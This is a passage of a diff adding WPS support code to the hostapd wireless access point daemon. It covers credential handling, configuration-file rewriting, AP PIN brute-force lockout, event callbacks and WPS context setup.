*uuid_e; + const u8 *dev_pw; + size_t dev_pw_len; +}; + +static int wps_stop_registrar(struct hostapd_data *hapd, void *ctx) +{ + struct wps_stop_reg_data *data = ctx; + if (hapd != data->current_hapd && hapd->wps != NULL) + wps_registrar_complete(hapd->wps->registrar, data->uuid_e, + data->dev_pw, data->dev_pw_len); + return 0; +} + + +static void hostapd_wps_reg_success_cb(void *ctx, const u8 *mac_addr, + const u8 *uuid_e, const u8 *dev_pw, + size_t dev_pw_len) +{ + struct hostapd_data *hapd = ctx; + char uuid[40]; + struct wps_stop_reg_data data; + if (uuid_bin2str(uuid_e, uuid, sizeof(uuid))) + return; + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_REG_SUCCESS MACSTR " %s", + MAC2STR(mac_addr), uuid); + if (hapd->wps_reg_success_cb) + hapd->wps_reg_success_cb(hapd->wps_reg_success_cb_ctx, + mac_addr, uuid_e); + data.current_hapd = hapd; + data.uuid_e = uuid_e; + data.dev_pw = dev_pw; + data.dev_pw_len = dev_pw_len; + hostapd_wps_for_each(hapd, wps_stop_registrar, &data); +} + + +static void hostapd_wps_enrollee_seen_cb(void *ctx, const u8 *addr, + const u8 *uuid_e, + const u8 *pri_dev_type, + u16 config_methods, + u16 dev_password_id, u8 request_type, + const char *dev_name) +{ + struct hostapd_data *hapd = ctx; + char uuid[40]; + char devtype[WPS_DEV_TYPE_BUFSIZE]; + if (uuid_bin2str(uuid_e, uuid, sizeof(uuid))) + return; + if (dev_name == NULL) + dev_name = ""; + wpa_msg_ctrl(hapd->msg_ctx, MSG_INFO, WPS_EVENT_ENROLLEE_SEEN MACSTR + " %s %s 0x%x %u %u [%s]", + MAC2STR(addr), uuid, + wps_dev_type_bin2str(pri_dev_type, devtype, + sizeof(devtype)), + config_methods, dev_password_id, request_type, dev_name); +} + + +static int str_starts(const char *str, const char *start) +{ + return os_strncmp(str, start, os_strlen(start)) == 0; +} + + +static void wps_reload_config(void *eloop_data, void *user_ctx) +{ + struct hostapd_iface *iface = eloop_data; + + wpa_printf(MSG_DEBUG, "WPS: Reload configuration data"); + if (iface->interfaces == NULL || + iface->interfaces->reload_config(iface) < 0) { + wpa_printf(MSG_WARNING, "WPS: Failed to reload the updated " + "configuration"); + } +} + + +static void hapd_new_ap_event(struct hostapd_data *hapd, const u8 *attr, + size_t attr_len) +{ + size_t blen = attr_len * 2 + 1; + char *buf = os_malloc(blen); + if (buf) { + wpa_snprintf_hex(buf, blen, attr, attr_len); + wpa_msg(hapd->msg_ctx, MSG_INFO, + WPS_EVENT_NEW_AP_SETTINGS "%s", buf); + os_free(buf); + } +} + + +static int hapd_wps_reconfig_in_memory(struct hostapd_data *hapd, + const struct wps_credential *cred) +{ + struct hostapd_bss_config *bss = hapd->conf; + + wpa_printf(MSG_DEBUG, "WPS: Updating in-memory configuration"); + + bss->wps_state = 2; + if (cred->ssid_len <= HOSTAPD_MAX_SSID_LEN) { + os_memcpy(bss->ssid.ssid, cred->ssid, cred->ssid_len); + bss->ssid.ssid_len = cred->ssid_len; + bss->ssid.ssid_set = 1; + } + + if ((cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK)) && + (cred->auth_type & (WPS_AUTH_WPA | WPS_AUTH_WPAPSK))) + bss->wpa = 3; + else if (cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK)) + bss->wpa = 2; + else if (cred->auth_type & (WPS_AUTH_WPA | WPS_AUTH_WPAPSK)) + bss->wpa = 1; + else + bss->wpa = 0; + + if (bss->wpa) { + if (cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA)) + bss->wpa_key_mgmt = WPA_KEY_MGMT_IEEE8021X; + if (cred->auth_type & (WPS_AUTH_WPA2PSK | WPS_AUTH_WPAPSK)) + bss->wpa_key_mgmt = WPA_KEY_MGMT_PSK; + + bss->wpa_pairwise = 0; + if (cred->encr_type & WPS_ENCR_AES) + bss->wpa_pairwise |= WPA_CIPHER_CCMP; + if (cred->encr_type & WPS_ENCR_TKIP) + bss->wpa_pairwise |= WPA_CIPHER_TKIP; + bss->rsn_pairwise = bss->wpa_pairwise; + bss->wpa_group = wpa_select_ap_group_cipher(bss->wpa, + bss->wpa_pairwise, + bss->rsn_pairwise); + + if (cred->key_len >= 8 && cred->key_len < 64) { + os_free(bss->ssid.wpa_passphrase); + bss->ssid.wpa_passphrase = os_zalloc(cred->key_len + 1); + if (bss->ssid.wpa_passphrase) + os_memcpy(bss->ssid.wpa_passphrase, cred->key, + cred->key_len); + os_free(bss->ssid.wpa_psk); + bss->ssid.wpa_psk = NULL; + } else if (cred->key_len == 64) { + os_free(bss->ssid.wpa_psk); + bss->ssid.wpa_psk = + os_zalloc(sizeof(struct hostapd_wpa_psk)); + if (bss->ssid.wpa_psk && + hexstr2bin((const char *) cred->key, + bss->ssid.wpa_psk->psk, PMK_LEN) == 0) { + bss->ssid.wpa_psk->group = 1; + os_free(bss->ssid.wpa_passphrase); + bss->ssid.wpa_passphrase = NULL; + } + } + bss->auth_algs = 1; + } else { + if ((cred->auth_type & WPS_AUTH_OPEN) && + (cred->auth_type & WPS_AUTH_SHARED)) + bss->auth_algs = 3; + else if (cred->auth_type & WPS_AUTH_SHARED) + bss->auth_algs = 2; + else + bss->auth_algs = 1; + if (cred->encr_type & WPS_ENCR_WEP && cred->key_idx > 0 && + cred->key_idx <= 4) { + struct hostapd_wep_keys *wep = &bss->ssid.wep; + int idx = cred->key_idx; + if (idx) + idx--; + wep->idx = idx; + if (cred->key_len == 10 || cred->key_len == 26) { + os_free(wep->key[idx]); + wep->key[idx] = os_malloc(cred->key_len / 2); + if (wep->key[idx] == NULL || + hexstr2bin((const char *) cred->key, + wep->key[idx], + cred->key_len / 2)) + return -1; + wep->len[idx] = cred->key_len / 2; + } else { + os_free(wep->key[idx]); + wep->key[idx] = os_malloc(cred->key_len); + if (wep->key[idx] == NULL) + return -1; + os_memcpy(wep->key[idx], cred->key, + cred->key_len); + wep->len[idx] = cred->key_len; + } + wep->keys_set = 1; + } + } + + /* Schedule configuration reload after short period of time to allow + * EAP-WSC to be finished. + */ + eloop_register_timeout(0, 100000, wps_reload_config, hapd->iface, + NULL); + + return 0; +} + + +static int hapd_wps_cred_cb(struct hostapd_data *hapd, void *ctx) +{ + const struct wps_credential *cred = ctx; + FILE *oconf, *nconf; + size_t len, i; + char *tmp_fname; + char buf[1024]; + int multi_bss; + int wpa; + + if (hapd->wps == NULL) + return 0; + + wpa_hexdump_key(MSG_DEBUG, "WPS: Received Credential attribute", + cred->cred_attr, cred->cred_attr_len); + + wpa_printf(MSG_DEBUG, "WPS: Received new AP Settings"); + wpa_hexdump_ascii(MSG_DEBUG, "WPS: SSID", cred->ssid, cred->ssid_len); + wpa_printf(MSG_DEBUG, "WPS: Authentication Type 0x%x", + cred->auth_type); + wpa_printf(MSG_DEBUG, "WPS: Encryption Type 0x%x", cred->encr_type); + wpa_printf(MSG_DEBUG, "WPS: Network Key Index %d", cred->key_idx); + wpa_hexdump_key(MSG_DEBUG, "WPS: Network Key", + cred->key, cred->key_len); + wpa_printf(MSG_DEBUG, "WPS: MAC Address " MACSTR, + MAC2STR(cred->mac_addr)); + + if ((hapd->conf->wps_cred_processing == 1 || + hapd->conf->wps_cred_processing == 2) && cred->cred_attr) { + hapd_new_ap_event(hapd, cred->cred_attr, cred->cred_attr_len); + } else if (hapd->conf->wps_cred_processing == 1 || + hapd->conf->wps_cred_processing == 2) { + struct wpabuf *attr; + attr = wpabuf_alloc(200); + if (attr && wps_build_credential_wrap(attr, cred) == 0) + hapd_new_ap_event(hapd, wpabuf_head_u8(attr), + wpabuf_len(attr)); + wpabuf_free(attr); + } else + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_NEW_AP_SETTINGS); + + if (hapd->conf->wps_cred_processing == 1) + return 0; + + os_memcpy(hapd->wps->ssid, cred->ssid, cred->ssid_len); + hapd->wps->ssid_len = cred->ssid_len; + hapd->wps->encr_types = cred->encr_type; + hapd->wps->auth_types = cred->auth_type; + if (cred->key_len == 0) { + os_free(hapd->wps->network_key); + hapd->wps->network_key = NULL; + hapd->wps->network_key_len = 0; + } else { + if (hapd->wps->network_key == NULL || + hapd->wps->network_key_len < cred->key_len) { + hapd->wps->network_key_len = 0; + os_free(hapd->wps->network_key); + hapd->wps->network_key = os_malloc(cred->key_len); + if (hapd->wps->network_key == NULL) + return -1; + } + hapd->wps->network_key_len = cred->key_len; + os_memcpy(hapd->wps->network_key, cred->key, cred->key_len); + } + hapd->wps->wps_state = WPS_STATE_CONFIGURED; + + if (hapd->iface->config_fname == NULL) + return hapd_wps_reconfig_in_memory(hapd, cred); + len = os_strlen(hapd->iface->config_fname) + 5; + tmp_fname = os_malloc(len); + if (tmp_fname == NULL) + return -1; + os_snprintf(tmp_fname, len, "%s-new", hapd->iface->config_fname); + + oconf = fopen(hapd->iface->config_fname, "r"); + if (oconf == NULL) { + wpa_printf(MSG_WARNING, "WPS: Could not open current " + "configuration file"); + os_free(tmp_fname); + return -1; + } + + nconf = fopen(tmp_fname, "w"); + if (nconf == NULL) { + wpa_printf(MSG_WARNING, "WPS: Could not write updated " + "configuration file"); + os_free(tmp_fname); + fclose(oconf); + return -1; + } + + fprintf(nconf, "# WPS configuration - START\n"); + + fprintf(nconf, "wps_state=2\n"); + + if (is_hex(cred->ssid, cred->ssid_len)) { + fprintf(nconf, "ssid2="); + for (i = 0; i < cred->ssid_len; i++) + fprintf(nconf, "%02x", cred->ssid[i]); + fprintf(nconf, "\n"); + } else { + fprintf(nconf, "ssid="); + for (i = 0; i < cred->ssid_len; i++) + fputc(cred->ssid[i], nconf); + fprintf(nconf, "\n"); + } + + if ((cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK)) && + (cred->auth_type & (WPS_AUTH_WPA | WPS_AUTH_WPAPSK))) + wpa = 3; + else if (cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK)) + wpa = 2; + else if (cred->auth_type & (WPS_AUTH_WPA | WPS_AUTH_WPAPSK)) + wpa = 1; + else + wpa = 0; + + if (wpa) { + char *prefix; + fprintf(nconf, "wpa=%d\n", wpa); + + fprintf(nconf, "wpa_key_mgmt="); + prefix = ""; + if (cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA)) { + fprintf(nconf, "WPA-EAP"); + prefix = " "; + } + if (cred->auth_type & (WPS_AUTH_WPA2PSK | WPS_AUTH_WPAPSK)) + fprintf(nconf, "%sWPA-PSK", prefix); + fprintf(nconf, "\n"); + + fprintf(nconf, "wpa_pairwise="); + prefix = ""; + if (cred->encr_type & WPS_ENCR_AES) { + fprintf(nconf, "CCMP"); + prefix = " "; + } + if (cred->encr_type & WPS_ENCR_TKIP) { + fprintf(nconf, "%sTKIP", prefix); + } + fprintf(nconf, "\n"); + + if (cred->key_len >= 8 && cred->key_len < 64) { + fprintf(nconf, "wpa_passphrase="); + for (i = 0; i < cred->key_len; i++) + fputc(cred->key[i], nconf); + fprintf(nconf, "\n"); + } else if (cred->key_len == 64) { + fprintf(nconf, "wpa_psk="); + for (i = 0; i < cred->key_len; i++) + fputc(cred->key[i], nconf); + fprintf(nconf, "\n"); + } else { + wpa_printf(MSG_WARNING, "WPS: Invalid key length %lu " + "for WPA/WPA2", + (unsigned long) cred->key_len); + } + + fprintf(nconf, "auth_algs=1\n"); + } else { + if ((cred->auth_type & WPS_AUTH_OPEN) && + (cred->auth_type & WPS_AUTH_SHARED)) + fprintf(nconf, "auth_algs=3\n"); + else if (cred->auth_type & WPS_AUTH_SHARED) + fprintf(nconf, "auth_algs=2\n"); + else + fprintf(nconf, "auth_algs=1\n"); + + if (cred->encr_type & WPS_ENCR_WEP && cred->key_idx <= 4) { + int key_idx = cred->key_idx; + if (key_idx) + key_idx--; + fprintf(nconf, "wep_default_key=%d\n", key_idx); + fprintf(nconf, "wep_key%d=", key_idx); + if (cred->key_len == 10 || cred->key_len == 26) { + /* WEP key as a hex string */ + for (i = 0; i < cred->key_len; i++) + fputc(cred->key[i], nconf); + } else { + /* Raw WEP key; convert to hex */ + for (i = 0; i < cred->key_len; i++) + fprintf(nconf, "%02x", cred->key[i]); + } + fprintf(nconf, "\n"); + } + } + + fprintf(nconf, "# WPS configuration - END\n"); + + multi_bss = 0; + while (fgets(buf, sizeof(buf), oconf)) { + if (os_strncmp(buf, "bss=", 4) == 0) + multi_bss = 1; + if (!multi_bss && + (str_starts(buf, "ssid=") || + str_starts(buf, "ssid2=") || + str_starts(buf, "auth_algs=") || + str_starts(buf, "wep_default_key=") || + str_starts(buf, "wep_key") || + str_starts(buf, "wps_state=") || + str_starts(buf, "wpa=") || + str_starts(buf, "wpa_psk=") || + str_starts(buf, "wpa_pairwise=") || + str_starts(buf, "rsn_pairwise=") || + str_starts(buf, "wpa_key_mgmt=") || + str_starts(buf, "wpa_passphrase="))) { + fprintf(nconf, "#WPS# %s", buf); + } else + fprintf(nconf, "%s", buf); + } + + fclose(nconf); + fclose(oconf); + + if (rename(tmp_fname, hapd->iface->config_fname) < 0) { + wpa_printf(MSG_WARNING, "WPS: Failed to rename the updated " + "configuration file: %s", strerror(errno)); + os_free(tmp_fname); + return -1; + } + + os_free(tmp_fname); + + /* Schedule configuration reload after short period of time to allow + * EAP-WSC to be finished. + */ + eloop_register_timeout(0, 100000, wps_reload_config, hapd->iface, + NULL); + + wpa_printf(MSG_DEBUG, "WPS: AP configuration updated"); + + return 0; +} + + +static int hostapd_wps_cred_cb(void *ctx, const struct wps_credential *cred) +{ + struct hostapd_data *hapd = ctx; + return hostapd_wps_for_each(hapd, hapd_wps_cred_cb, (void *) cred); +} + + +static void hostapd_wps_reenable_ap_pin(void *eloop_data, void *user_ctx) +{ + struct hostapd_data *hapd = eloop_data; + + if (hapd->conf->ap_setup_locked) + return; + if (hapd->ap_pin_failures_consecutive >= 10) + return; + + wpa_printf(MSG_DEBUG, "WPS: Re-enable AP PIN"); + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_AP_SETUP_UNLOCKED); + hapd->wps->ap_setup_locked = 0; + wps_registrar_update_ie(hapd->wps->registrar); +} + + +static int wps_pwd_auth_fail(struct hostapd_data *hapd, void *ctx) +{ + struct wps_event_pwd_auth_fail *data = ctx; + + if (!data->enrollee || hapd->conf->ap_pin == NULL || hapd->wps == NULL) + return 0; + + /* + * Registrar failed to prove its knowledge of the AP PIN. Lock AP setup + * for some time if this happens multiple times to slow down brute + * force attacks. + */ + hapd->ap_pin_failures++; + hapd->ap_pin_failures_consecutive++; + wpa_printf(MSG_DEBUG, "WPS: AP PIN authentication failure number %u " + "(%u consecutive)", + hapd->ap_pin_failures, hapd->ap_pin_failures_consecutive); + if (hapd->ap_pin_failures < 3) + return 0; + + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_AP_SETUP_LOCKED); + hapd->wps->ap_setup_locked = 1; + + wps_registrar_update_ie(hapd->wps->registrar); + + if (!hapd->conf->ap_setup_locked && + hapd->ap_pin_failures_consecutive >= 10) { + /* + * In indefinite lockdown - disable automatic AP PIN + * reenablement. + */ + eloop_cancel_timeout(hostapd_wps_reenable_ap_pin, hapd, NULL); + wpa_printf(MSG_DEBUG, "WPS: AP PIN disabled indefinitely"); + } else if (!hapd->conf->ap_setup_locked) { + if (hapd->ap_pin_lockout_time == 0) + hapd->ap_pin_lockout_time = 60; + else if (hapd->ap_pin_lockout_time < 365 * 24 * 60 * 60 && + (hapd->ap_pin_failures % 3) == 0) + hapd->ap_pin_lockout_time *= 2; + + wpa_printf(MSG_DEBUG, "WPS: Disable AP PIN for %u seconds", + hapd->ap_pin_lockout_time); + eloop_cancel_timeout(hostapd_wps_reenable_ap_pin, hapd, NULL); + eloop_register_timeout(hapd->ap_pin_lockout_time, 0, + hostapd_wps_reenable_ap_pin, hapd, + NULL); + } + + return 0; +} + + +static void hostapd_pwd_auth_fail(struct hostapd_data *hapd, + struct wps_event_pwd_auth_fail *data) +{ + /* Update WPS Status - Authentication Failure */ + wpa_printf(MSG_DEBUG, "WPS: Authentication failure update"); + hapd->wps_stats.status = WPS_STATUS_FAILURE; + hapd->wps_stats.failure_reason = WPS_EI_AUTH_FAILURE; + os_memcpy(hapd->wps_stats.peer_addr, data->peer_macaddr, ETH_ALEN); + + hostapd_wps_for_each(hapd, wps_pwd_auth_fail, data); +} + + +static int wps_ap_pin_success(struct hostapd_data *hapd, void *ctx) +{ + if (hapd->conf->ap_pin == NULL || hapd->wps == NULL) + return 0; + + if (hapd->ap_pin_failures_consecutive == 0) + return 0; + + wpa_printf(MSG_DEBUG, "WPS: Clear consecutive AP PIN failure counter " + "- total validation failures %u (%u consecutive)", + hapd->ap_pin_failures, hapd->ap_pin_failures_consecutive); + hapd->ap_pin_failures_consecutive = 0; + + return 0; +} + + +static void hostapd_wps_ap_pin_success(struct hostapd_data *hapd) +{ + hostapd_wps_for_each(hapd, wps_ap_pin_success, NULL); +} + + +static void hostapd_wps_event_pbc_overlap(struct hostapd_data *hapd) +{ + /* Update WPS Status - PBC Overlap */ + hapd->wps_stats.pbc_status = WPS_PBC_STATUS_OVERLAP; +} + + +static void hostapd_wps_event_pbc_timeout(struct hostapd_data *hapd) +{ + /* Update WPS PBC Status:PBC Timeout */ + hapd->wps_stats.pbc_status = WPS_PBC_STATUS_TIMEOUT; +} + + +static void hostapd_wps_event_pbc_active(struct hostapd_data *hapd) +{ + /* Update WPS PBC status - Active */ + hapd->wps_stats.pbc_status = WPS_PBC_STATUS_ACTIVE; +} + + +static void hostapd_wps_event_pbc_disable(struct hostapd_data *hapd) +{ + /* Update WPS PBC status - Active */ + hapd->wps_stats.pbc_status = WPS_PBC_STATUS_DISABLE; +} + + +static void hostapd_wps_event_success(struct hostapd_data *hapd, + struct wps_event_success *success) +{ + /* Update WPS status - Success */ + hapd->wps_stats.pbc_status = WPS_PBC_STATUS_DISABLE; + hapd->wps_stats.status = WPS_STATUS_SUCCESS; + os_memcpy(hapd->wps_stats.peer_addr, success->peer_macaddr, ETH_ALEN); +} + + +static void hostapd_wps_event_fail(struct hostapd_data *hapd, + struct wps_event_fail *fail) +{ + /* Update WPS status - Failure */ + hapd->wps_stats.status = WPS_STATUS_FAILURE; + os_memcpy(hapd->wps_stats.peer_addr, fail->peer_macaddr, ETH_ALEN); + + hapd->wps_stats.failure_reason = fail->error_indication; + + if (fail->error_indication > 0 && + fail->error_indication < NUM_WPS_EI_VALUES) { + wpa_msg(hapd->msg_ctx, MSG_INFO, + WPS_EVENT_FAIL "msg=%d config_error=%d reason=%d (%s)", + fail->msg, fail->config_error, fail->error_indication, + wps_ei_str(fail->error_indication)); + } else { + wpa_msg(hapd->msg_ctx, MSG_INFO, + WPS_EVENT_FAIL "msg=%d config_error=%d", + fail->msg, fail->config_error); + } +} + + +static void hostapd_wps_event_cb(void *ctx, enum wps_event event, + union wps_event_data *data) +{ + struct hostapd_data *hapd = ctx; + + switch (event) { + case WPS_EV_M2D: + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_M2D); + break; + case WPS_EV_FAIL: + hostapd_wps_event_fail(hapd, &data->fail); + break; + case WPS_EV_SUCCESS: + hostapd_wps_event_success(hapd, &data->success); + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_SUCCESS); + break; + case WPS_EV_PWD_AUTH_FAIL: + hostapd_pwd_auth_fail(hapd, &data->pwd_auth_fail); + break; + case WPS_EV_PBC_OVERLAP: + hostapd_wps_event_pbc_overlap(hapd); + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_OVERLAP); + break; + case WPS_EV_PBC_TIMEOUT: + hostapd_wps_event_pbc_timeout(hapd); + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_TIMEOUT); + break; + case WPS_EV_PBC_ACTIVE: + hostapd_wps_event_pbc_active(hapd); + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_ACTIVE); + break; + case WPS_EV_PBC_DISABLE: + hostapd_wps_event_pbc_disable(hapd); + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_DISABLE); + break; + case WPS_EV_ER_AP_ADD: + break; + case WPS_EV_ER_AP_REMOVE: + break; + case WPS_EV_ER_ENROLLEE_ADD: + break; + case WPS_EV_ER_ENROLLEE_REMOVE: + break; + case WPS_EV_ER_AP_SETTINGS: + break; + case WPS_EV_ER_SET_SELECTED_REGISTRAR: + break; + case WPS_EV_AP_PIN_SUCCESS: + hostapd_wps_ap_pin_success(hapd); + break; + } + if (hapd->wps_event_cb) + hapd->wps_event_cb(hapd->wps_event_cb_ctx, event, data); +} + + +static int hostapd_wps_rf_band_cb(void *ctx) +{ + struct hostapd_data *hapd = ctx; + + return hapd->iconf->hw_mode == HOSTAPD_MODE_IEEE80211A ? + WPS_RF_50GHZ : WPS_RF_24GHZ; /* FIX: dualband AP */ +} + + +static void hostapd_wps_clear_ies(struct hostapd_data *hapd) +{ + wpabuf_free(hapd->wps_beacon_ie); + hapd->wps_beacon_ie = NULL; + + wpabuf_free(hapd->wps_probe_resp_ie); + hapd->wps_probe_resp_ie = NULL; + + hostapd_set_ap_wps_ie(hapd); +} + + +static int get_uuid_cb(struct hostapd_iface *iface, void *ctx) +{ + const u8 **uuid = ctx; + size_t j; + + if (iface == NULL) + return 0; + for (j = 0; j < iface->num_bss; j++) { + struct hostapd_data *hapd = iface->bss[j]; + if (hapd->wps && !hapd->conf->wps_independent && + !is_nil_uuid(hapd->wps->uuid)) { + *uuid = hapd->wps->uuid; + return 1; + } + } + + return 0; +} + + +static const u8 * get_own_uuid(struct hostapd_iface *iface) +{ + const u8 *uuid; + if (iface->interfaces == NULL || + iface->interfaces->for_each_interface == NULL) + return NULL; + uuid = NULL; + iface->interfaces->for_each_interface(iface->interfaces, get_uuid_cb, + &uuid); + return uuid; +} + + +static int count_interface_cb(struct hostapd_iface *iface, void *ctx) +{ + int *count= ctx; + (*count)++; + return 0; +} + + +static int interface_count(struct hostapd_iface *iface) +{ + int count = 0; + if (iface->interfaces == NULL || + iface->interfaces->for_each_interface == NULL) + return 0; + iface->interfaces->for_each_interface(iface->interfaces, + count_interface_cb, &count); + return count; +} + + +static int hostapd_wps_set_vendor_ext(struct hostapd_data *hapd, + struct wps_context *wps) +{ + int i; + + for (i = 0; i < MAX_WPS_VENDOR_EXTENSIONS; i++) { + wpabuf_free(wps->dev.vendor_ext[i]); + wps->dev.vendor_ext[i] = NULL; + + if (hapd->conf->wps_vendor_ext[i] == NULL) + continue; + + wps->dev.vendor_ext[i] = + wpabuf_dup(hapd->conf->wps_vendor_ext[i]); + if (wps->dev.vendor_ext[i] == NULL) { + while (--i >= 0) + wpabuf_free(wps->dev.vendor_ext[i]); + return -1; + } + } + + return 0; +} + + +int hostapd_init_wps(struct hostapd_data *hapd, + struct hostapd_bss_config *conf) +{ + struct wps_context *wps; + struct wps_registrar_config cfg; + + if (conf->wps_state == 0) { + hostapd_wps_clear_ies(hapd); + return 0; + } + + wps = os_zalloc(sizeof(*wps)); + if (wps == NULL) + return -1; + + wps->cred_cb = hostapd_wps_cred_cb; + wps->event_cb = hostapd_wps_event_cb; + wps->rf_band_cb = hostapd_wps_rf_band_cb; + wps->cb_ctx = hapd; + + os_memset(&cfg, 0, sizeof(cfg)); + wps->wps_state = hapd->conf->wps_state; + wps->ap_setup_locked = hapd->conf->ap_setup_locked; + if (is_nil_uuid(hapd->conf->uuid)) { + const u8 *uuid; + uuid = get_own_uuid(hapd->iface); + if (uuid && !conf->wps_independent) { + os_memcpy(wps->uuid, uuid, UUID_LEN); + wpa_hexdump(MSG_DEBUG, "WPS: Clone UUID from another " + "interface", wps->uuid, UUID_LEN); + } else { + uuid_gen_mac_addr(hapd->own_addr, wps->uuid); + wpa_hexdump(MSG_DEBUG, "WPS: UUID based on MAC " + "address", wps->uuid, UUID_LEN); + } + } else { + os_memcpy(wps->uuid, hapd->conf->uuid, UUID_LEN); + wpa_hexdump(MSG_DEBUG, "WPS: Use configured UUID", + wps->uuid, UUID_LEN); + } + wps->ssid_len = hapd->conf->ssid.ssid_len; + os_memcpy(wps->ssid, hapd->conf->ssid.ssid, wps->ssid_len); + wps->ap = 1; + os_memcpy(wps->dev.mac_addr, hapd->own_addr, ETH_ALEN); + wps->dev.device_name = hapd->conf->device_name ? + os_strdup(hapd->conf->device_name) : NULL; + wps->dev.manufacturer = hapd->conf->manufacturer ? + os_strdup(hapd->conf->manufacturer) : NULL; + wps->dev.model_name = hapd->conf->model_name ? + os_strdup(hapd->conf->model_name) : NULL; + wps->dev.model_number = hapd->conf->model_number ? + os_strdup(hapd->conf->model_number) : NULL; + wps->dev.serial_number = hapd->conf->serial_number ? + os_strdup(hapd->conf->serial_number) : NULL; + wps->config_methods = + wps_config_methods_str2bin(hapd->conf->config_methods); +#ifdef CONFIG_WPS2 + if ((wps->config_methods & + (WPS_CONFIG_DISPLAY | WPS_CONFIG_VIRT_DISPLAY | + WPS_CONFIG_PHY_DISPLAY)) == WPS_CONFIG_DISPLAY) { + wpa_printf(MSG_INFO, "WPS: Converting display to " + "virtual_display for WPS 2.0 compliance"); + wps->config_methods |= WPS_CONFIG_VIRT_DISPLAY; + } + if ((wps->config_methods & + (WPS_CONFIG_PUSHBUTTON | WPS_CONFIG_VIRT_PUSHBUTTON | + WPS_CONFIG_PHY_PUSHBUTTON)) == WPS_CONFIG_PUSHBUTTON) { + wpa_printf(MSG_INFO, "WPS: Converting push_button to " + "virtual_push_button for WPS 2.0 compliance"); + wps->config_methods |= WPS_CONFIG_VIRT_PUSHBUTTON; + } +#endif /* CONFIG_WPS2 */ + os_memcpy(wps->dev.pri_dev_type, hapd->conf->device_type, + WPS_DEV_TYPE_LEN); + + if (hostapd_wps_set_vendor_ext(hapd, wps) < 0) { + os_free(wps); + return -1; + } + + wps->dev.os_version = WPA_GET_BE32(hapd->conf->os_version); + + if (conf->wps_rf_bands) { + wps->dev.rf_bands = conf->wps_rf_bands; + } else { + wps->dev.rf_bands = + hapd->iconf->hw_mode == HOSTAPD_MODE_IEEE80211A ? + WPS_RF_50GHZ : WPS_RF_24GHZ; /* FIX: dualband AP */ + } + + if (conf->wpa & WPA_PROTO_RSN) { + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK) + wps->auth_types |= WPS_AUTH_WPA2PSK; + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X) + wps->auth_types |= WPS_AUTH_WPA2; + + if (conf->rsn_pairwise & WPA_CIPHER_CCMP) + wps->encr_types |= WPS_ENCR_AES; + if (conf->rsn_pairwise & WPA_CIPHER_TKIP) + wps->encr_types |= WPS_ENCR_TKIP; + } + + if (conf->wpa & WPA_PROTO_WPA) { + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK) + wps->auth_types |= WPS_AUTH_WPAPSK; + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X) + wps->auth_types |= WPS_AUTH_WPA; + + if (conf->wpa_pairwise & WPA_CIPHER_CCMP) + wps->encr_types |= WPS_ENCR_AES; + if (conf->wpa_pairwise & WPA_CIPHER_TKIP) + wps->encr_types |= WPS_ENCR_TKIP; + } + + if (conf->ssid.security_policy == SECURITY_PLAINTEXT) { + wps->encr_types |= WPS_ENCR_NONE; + wps->auth_types |= WPS_AUTH_OPEN; + } else if (conf->ssid.security_policy == SECURITY_STATIC_WEP) { + wps->encr_types |= WPS_ENCR_WEP; + if (conf->auth_algs & WPA_AUTH_ALG_OPEN) + wps->auth_types |= WPS_AUTH_OPEN; + if (conf->auth_algs & WPA_AUTH_ALG_SHARED) + wps->auth_types |= WPS_AUTH_SHARED; + } else if (conf->ssid.security_policy == SECURITY_IEEE_802_1X) { + wps->auth_types |= WPS_AUTH_OPEN; + if (conf->default_wep_key_len) + wps->encr_types |= WPS_ENCR_WEP; + else + wps->encr_types |= WPS_ENCR_NONE; + } + + if (conf->ssid.wpa_psk_file) { + /* Use per-device PSKs */ + } else if (conf->ssid.wpa_passphrase) { + wps->network_key = (u8 *) os_strdup(conf->ssid.wpa_passphrase); + wps->network_key_len = os_strlen(conf->ssid.wpa_passphrase); + } else if (conf->ssid.wpa_psk) { + wps->network_key = os_malloc(2 * PMK_LEN + 1); + if (wps->network_key == NULL) { + os_free(wps); + return -1; + } + wpa_snprintf_hex((char *) wps->network_key, 2 * PMK_LEN + 1, + conf->ssid.wpa_psk->psk, PMK_LEN); + wps->network_key_len = 2 * PMK_LEN; + } else if (conf->ssid.wep.keys_set && conf->ssid.wep.key[0]) { + wps->network_key = os_malloc(conf->ssid.wep.len[0]); + if (wps->network_key == NULL) { + os_free(wps); + return -1; + } + os_memcpy(wps->network_key, conf->ssid.wep.key[0], + conf->ssid.wep.len[0]); + wps->network_key_len = conf->ssid.wep.len[0]; + } + + if (conf->ssid.wpa_psk) { + os_memcpy(wps->psk, conf->ssid.wpa_psk->psk, PMK_LEN); + wps->psk_set = 1; + } + + if (conf->wps_state == WPS_STATE_NOT_CONFIGURED) { + /* Override parameters to enable security by default */ + wps->auth_types = WPS_AUTH_WPA2PSK | WPS_AUTH_WPAPSK; + wps->encr_types = WPS_ENCR_AES | WPS_ENCR_TKIP; + } + + wps->ap_settings = conf->ap_settings; + wps->ap_settings_len = conf->ap_settings_len; + + cfg.new_psk_cb = hostapd_wps_new_psk_cb; + cfg.set_ie_cb = hostapd_wps_set_ie_cb; + cfg.pin_needed_cb = hostapd_wps_pin_needed_cb; + cfg.reg_success_cb = hostapd_wps_reg_success_cb; + cfg.enrollee_seen_cb = hostapd_wps_enrollee_seen_cb; + cfg.cb_ctx = hapd; + 